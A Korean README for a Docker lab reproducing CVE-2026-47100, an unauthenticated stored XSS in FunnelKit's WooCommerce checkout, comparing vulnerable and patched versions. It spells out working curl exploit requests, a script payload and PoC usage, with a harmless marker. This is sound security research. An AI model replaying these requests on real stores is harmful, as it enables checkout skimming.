
CVE-2026-47100을 재현하기 위한 로컬 Docker 랩입니다. FunnelKit for WooCommerce의 인증되지 않은 저장형 XSS입니다. 취약한 버전과 패치된 버전을 비교하는 PoC 스크립트가 포함되어 있습니다.
로컬 Docker 실습 환경으로 CVE-2026-47100을 안전하고 최소 피해 방식으로 재현합니다. 이 실습 환경은 취약한 FunnelKit 버전과 패치된 버전을 비교하고, 무해한 JavaScript 마커/알림을 사용하여 동작을 확인합니다.
CVE-2026-47100은 버전 3.15.0.3 이전의 Funnel Builder / FunnelKit for WooCommerce Checkout에 존재하는 인증 누락 취약점입니다.
취약한 체크아웃 AJAX 흐름을 통해 인증되지 않은 방문자가 내부 플러그인 메서드를 호출하고 FunnelKit에 내장된 글로벌 외부 스크립트 설정에 데이터를 쓸 수 있습니다. 해당 설정이 나중에 FunnelKit 체크아웃 페이지에 렌더링되므로 이 문제는 체크아웃 페이지에서 인증되지 않은 저장형 XSS가 될 수 있습니다.
이 저장소는 두 개의 Docker 서비스를 사용하여 로컬에서 이 문제를 재현합니다.
| 서비스 | 버전 | URL | 예상 결과 |
|---|
vuln | 3.15.0.2 | http://127.0.0.1:8081 | 취약 동작 확인됨 |
patched | 3.15.0.3 | http://127.0.0.1:8082 | 쓰기 차단 / 마커 미렌더링 |

Vulnx 출력에서 초기 CVE 선택. 취약 및 패치 동작을 비교하여 실습 환경과 PoC를 수동으로 구축했습니다.
인증되지 않은 공격자는 공개 체크아웃 AJAX 흐름을 악용하여 FunnelKit의 글로벌 외부 스크립트 설정에 JavaScript를 지속시킬 수 있습니다.
실제 WooCommerce 스토어에서는 체크아웃 페이지를 방문하는 사용자의 브라우저에서 악성 JavaScript가 실행될 수 있습니다. 공개 보고서에 따르면 이 취약점 클래스는 체크아웃 스키밍 캠페인과 연관되어 있습니다.
이 실습 환경은 의도적으로 무해한 증명 마커만 사용합니다.
<script>window.CVE_2026_47100_LAB_PROOF="ok";alert("CVE-2026-47100 LAB Stored XSS")</script>
취약한 버전은 공개 WooCommerce AJAX 엔드포인트에서 사용자 제어 체크아웃 데이터를 허용합니다.
/?wc-ajax=update_order_review
FunnelKit 체크아웃 흐름 내에서 요청에 다음이 포함될 수 있습니다.
wfacp_input_hidden_data={"action":"update_global_settings_fields", ...}
취약한 로직은 제공된 액션 이름이 클래스 메서드로 존재하는지 확인합니다. 메서드가 존재하면 공개 체크아웃 흐름에서 호출할 수 있습니다.
단순화된 취약 동작:
if ( method_exists( __CLASS__, $action ) ) {
self::$output_resp = self::$action( $input_data );
}
중요한 공격자 제어 액션은 다음과 같습니다.
update_global_settings_fields
해당 메서드는 WordPress 옵션을 업데이트합니다.
_wfacp_global_settings
특히 FunnelKit 내장 키:
wfacp_global_external_script
저장된 값은 나중에 체크아웃 템플릿에 의해 읽혀 체크아웃 페이지에 렌더링됩니다. 이로 인해 저장형 XSS 조건이 생성됩니다.
익스플로잇 체인:
인증되지 않은 체크아웃 방문자
→ 공개 WooCommerce update_order_review AJAX
→ 공격자 제어 wfacp_input_hidden_data[action]
→ update_global_settings_fields()
→ update_option('_wfacp_global_settings')
→ wfacp_global_external_script가 체크아웃 페이지에 렌더링됨
→ 저장형 XSS
버전 3.15.0.3은 두 가지 중요한 변경 사항으로 취약 경로를 강화합니다.
패치된 버전은 공개 체크아웃 흐름에서 호출할 수 있는 체크아웃 액션을 제한합니다.
단순화된 패치 동작:
$allowed_actions = array(
'update_cart_item_quantity',
'update_cart_multiple_page',
'remove_cart_item',
'undo_cart_item',
'prep_fees',
);
if (
is_string( $action ) &&
in_array( $action, $allowed_actions, true ) &&
method_exists( __CLASS__, $action )
) {
self::$output_resp = self::$action( $input_data );
}
이로 인해 update_global_settings_fields와 같은 임의의 내부 메서드가 인증되지 않은 체크아웃 요청에 의해 전달되는 것을 방지합니다.
패치된 버전은 또한 글로벌 설정을 업데이트하기 전에 인증 확인을 추가합니다.
if ( ! current_user_can( 'manage_woocommerce' ) ) {
return $resp;
}
즉, 글로벌 외부 스크립트 설정은 WooCommerce 관리 권한이 있는 사용자만 쓸 수 있어야 합니다.
host
├── http://127.0.0.1:8081 → WordPress + WooCommerce + FunnelKit 3.15.0.2
└── http://127.0.0.1:8082 → WordPress + WooCommerce + FunnelKit 3.15.0.3
시드 프로세스 생성:
실습 제품
- 유효한 장바구니/세션을 생성하는 데 사용되는 WooCommerce 제품
- 깨끗한 실습 환경에서 예상 제품 ID: 10
실습 퍼널 체크아웃
- 체크아웃 AJAX 흐름을 트리거하는 데 사용되는 FunnelKit 체크아웃 페이지
- 깨끗한 실습 환경에서 예상 체크아웃 포스트 ID: 11
실습 환경은 결정론적 체크아웃 URL을 사용합니다.
/?post_type=wfacp_checkout&p=11
이 URL은 로컬 Docker 실습 환경에서 FunnelKit 체크아웃 사용자 정의 포스트를 명시적으로 로드합니다.
실습 환경 시작:
docker compose up -d --build
서비스 확인:
docker compose ps
예상 서비스:
vuln http://127.0.0.1:8081
patched http://127.0.0.1:8082
Python 종속성 설치:
python3 -m venv .venv
. .venv/bin/activate
pip install requests
poc/poc_lab.py는 결정론적 실습 PoC입니다.
로컬 Docker 시드 값을 가정합니다.
product_id = 10
checkout_post_id = 11
취약한 서비스에 대해 실행:
python3 poc/poc_lab.py http://127.0.0.1:8081
예상 결과:
[*] AJAX action: update_global_settings_fields
[*] AJAX status: True
[*] AJAX msg: Changes saved
[*] Marker rendered in HTML: True
=== Result ===
likely_vulnerable: True
[+] Vulnerable behavior confirmed.
패치된 서비스에 대해 실행:
python3 poc/poc_lab.py http://127.0.0.1:8082
예상 결과:
[*] AJAX action: update_global_settings_fields
[*] AJAX status: None
[*] AJAX msg: None
[*] Marker rendered in HTML: False
=== Result ===
likely_vulnerable: False
[-] Vulnerable behavior was not confirmed.
[-] On patched targets this is expected.
poc/poc_check.py는 더 이식성 있는 인증 자체 테스트 도구입니다.
수동 확인 전용:
python3 poc/poc_check.py \
--checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11"
능동 인증 확인:
python3 poc/poc_check.py \
--checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
--product-id 10 \
--active \
--i-am-authorized
알림 없는 마커 전용 모드:
python3 poc/poc_check.py \
--checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
--product-id 10 \
--active \
--i-am-authorized \
--marker-only
정리 시도:
python3 poc/poc_check.py \
--checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
--product-id 10 \
--active \
--i-am-authorized \
--cleanup
새로운 WooCommerce 세션을 생성하고 실습 제품을 장바구니에 추가:
rm -f /tmp/cve47100-vuln.cookies
curl -s -c /tmp/cve47100-vuln.cookies -b /tmp/cve47100-vuln.cookies \
"http://127.0.0.1:8081/?add-to-cart=10" >/dev/null
FunnelKit 체크아웃 페이지를 가져와 WooCommerce 체크아웃 nonce 추출:
CHECKOUT_HTML=$(curl -s -c /tmp/cve47100-vuln.cookies -b /tmp/cve47100-vuln.cookies \
"http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11")
NONCE=$(printf '%s' "$CHECKOUT_HTML" \
| grep -oE '"update_order_review_nonce":"[^"]+"' \
| head -n1 \
| cut -d: -f2 \
| tr -d '"')
echo "NONCE=$NONCE"
조작된 체크아웃 AJAX 요청 전송:
curl -i "http://127.0.0.1:8081/?wc-ajax=update_order_review" \
-c /tmp/cve47100-vuln.cookies \
-b /tmp/cve47100-vuln.cookies \
-H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" \
--data-urlencode "security=${NONCE}" \
--data-urlencode "payment_method=cod" \
--data-urlencode "country=TH" \
--data-urlencode "state=" \
--data-urlencode "postcode=10110" \
--data-urlencode "city=Bangkok" \
--data-urlencode "address=Lab Street" \
--data-urlencode "address_2=" \
--data-urlencode "s_country=TH" \
--data-urlencode "s_state=" \
--data-urlencode "s_postcode=10110" \
--data-urlencode "s_city=Bangkok" \
--data-urlencode "s_address=Lab Street" \
--data-urlencode "s_address_2=" \
--data-urlencode 'post_data=wfacp_input_hidden_data={"action":"update_global_settings_fields","type":"post","data":{"wfacp_global_external_script":"<script>window.CVE_2026_47100_LAB_PROOF=\"ok\";alert(\"CVE-2026-47100 LAB Stored XSS\")</script>"}}'
옵션이 작성되었는지 확인:
docker compose exec vuln wp --allow-root --path=/var/www/html option get _wfacp_global_settings --format=json
예상 결과:
{
"wfacp_global_external_script": "<script>window.CVE_2026_47100_LAB_PROOF=\"ok\";alert(\"CVE-2026-47100 LAB Stored XSS\")<\/script>",
"wfacp_checkout_global_css": ""
}
마커가 렌더링되었는지 확인:
curl -s "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
| grep -oE '.{0,100}CVE_2026_47100_LAB_PROOF.{0,160}'
브라우저에서 열어 무해한 알림 확인:
http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11
동일한 흐름을 포트 8082에 대해 반복:
rm -f /tmp/cve47100-patched.cookies
curl -s -c /tmp/cve47100-patched.cookies -b /tmp/cve47100-patched.cookies \
"http://127.0.0.1:8082/?add-to-cart=10" >/dev/null
CHECKOUT_HTML=$(curl -s -c /tmp/cve47100-patched.cookies -b /tmp/cve47100-patched.cookies \
"http://127.0.0.1:8082/?post_type=wfacp_checkout&p=11")
NONCE=$(printf '%s' "$CHECKOUT_HTML" \
| grep -oE '"update_order_review_nonce":"[^"]+"' \
| head -n1 \
| cut -d: -f2 \
| tr -d '"')
echo "NONCE=$NONCE"
curl -i "http://127.0.0.1:8082/?wc-ajax=update_order_review" \
-c /tmp/cve47100-patched.cookies \
-b /tmp/cve47100-patched.cookies \
-H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" \
--data-urlencode "security=${NONCE}" \
--data-urlencode "payment_method=cod" \
--data-urlencode "country=TH" \
--data-urlencode "state=" \
--data-urlencode "postcode=10110" \
--data-urlencode "city=Bangkok" \
--data-urlencode "address=Lab Street" \
--data-urlencode "address_2=" \
--data-urlencode "s_country=TH" \
--data-urlencode "s_state=" \
--data-urlencode "s_postcode=10110" \
--data-urlencode "s_city=Bangkok" \
--data-urlencode "s_address=Lab Street" \
--data-urlencode "s_address_2=" \
--data-urlencode 'post_data=wfacp_input_hidden_data={"action":"update_global_settings_fields","type":"post","data":{"wfacp_global_external_script":"<script>window.CVE_2026_47100_LAB_PROOF=\"ok\";alert(\"CVE-2026-47100 LAB Stored XSS\")</script>"}}'
옵션이 변경되지 않았는지 확인:
docker compose exec patched wp --allow-root --path=/var/www/html option get _wfacp_global_settings --format=json
예상 결과:
[]
마커가 렌더링되지 않았는지 확인:
curl -s "http://127.0.0.1:8082/?post_type=wfacp_checkout&p=11" \
| grep -oE '.{0,100}CVE_2026_47100_LAB_PROOF.{0,160}'
예상 결과: 출력 없음.
취약한 서비스는 다음 조건이 모두 참일 때 문제를 확인합니다:
AJAX action: update_global_settings_fields
AJAX status: True
AJAX msg: Changes saved
Marker rendered in HTML: True
패치된 서비스는 다음 조건에서 수정을 확인합니다:
AJAX action: update_global_settings_fields
AJAX status: None
AJAX msg: None
Marker rendered in HTML: False
_wfacp_global_settings remains []
이 저장소는 로컬, 인가된 보안 연구 전용입니다.
허용 범위:
localhost
127.0.0.1
Docker Compose 실습 네트워크
소유하거나 명시적 서면 허가를 받은 시스템
허용되지 않음:
결제 스키밍
쿠키 도용
토큰 도용
자격 증명 수집
외부 유출
타사 스토어에 대한 인가되지 않은 테스트
PoC는 무해한 알림과 마커만 사용합니다.